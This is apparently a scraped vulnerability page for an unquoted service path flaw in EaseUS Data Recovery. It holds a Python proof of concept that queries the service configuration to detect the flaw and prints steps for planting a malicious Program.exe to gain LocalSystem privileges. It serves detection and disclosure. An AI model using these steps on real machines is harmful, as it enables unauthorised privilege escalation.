CVE-2022-50914: EaseUS Data Recovery未引号服务路径本地提权漏洞

#!/usr/bin/env python3 """ CVE-2022-50914 PoC - EaseUS Data Recovery Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in EaseUS UPDATE SERVICE. """ import os import sys import subprocess def check_vulnerability(): """Check if the system is vulnerable to unquoted service path""" try: # Query the EaseUS service configuration result = subprocess.run( ['sc', 'qc', 'EaseUS Update Service'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains spaces without quotes if 'BINARY_PATH_NAME' in output: lines = output.split('\n') for line in lines: if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Check for unquoted path with spaces if ' ' in path and not path.startswith('"'): print(f"Vulnerable path found: {path}") print("\n[!] System is vulnerable to Unquoted Service Path attack") print("[!] An attacker with write access can place a malicious executable") print("[!] in an intermediate directory to achieve privilege escalation") return True print("[+] Service not found or path is properly quoted") return False except Exception as e: print(f"Error checking vulnerability: {e}") return False def exploit_demo(): """ Exploitation steps (for educational purposes only): 1. Identify the unquoted path: C:\Program Files\EaseUS\Data Recovery\bin\ensserver.exe 2. Create a malicious executable 3. Place it at an intermediate path location 4. Wait for service restart or trigger service restart 5. Malicious code executes with LocalSystem privileges """ print("\nExploitation steps:") print("1. Identify vulnerable service path") print("2. Create malicious executable (e.g., Program.exe)") print("3. Copy to: C:\\Program.exe") print("4. Wait for service restart or reboot") print("5. Attacker gains LocalSystem privileges") if __name__ == '__main__': print("CVE-2022-50914 - EaseUS Data Recovery Unquoted Service Path") print("=" * 60) check_vulnerability() exploit_demo()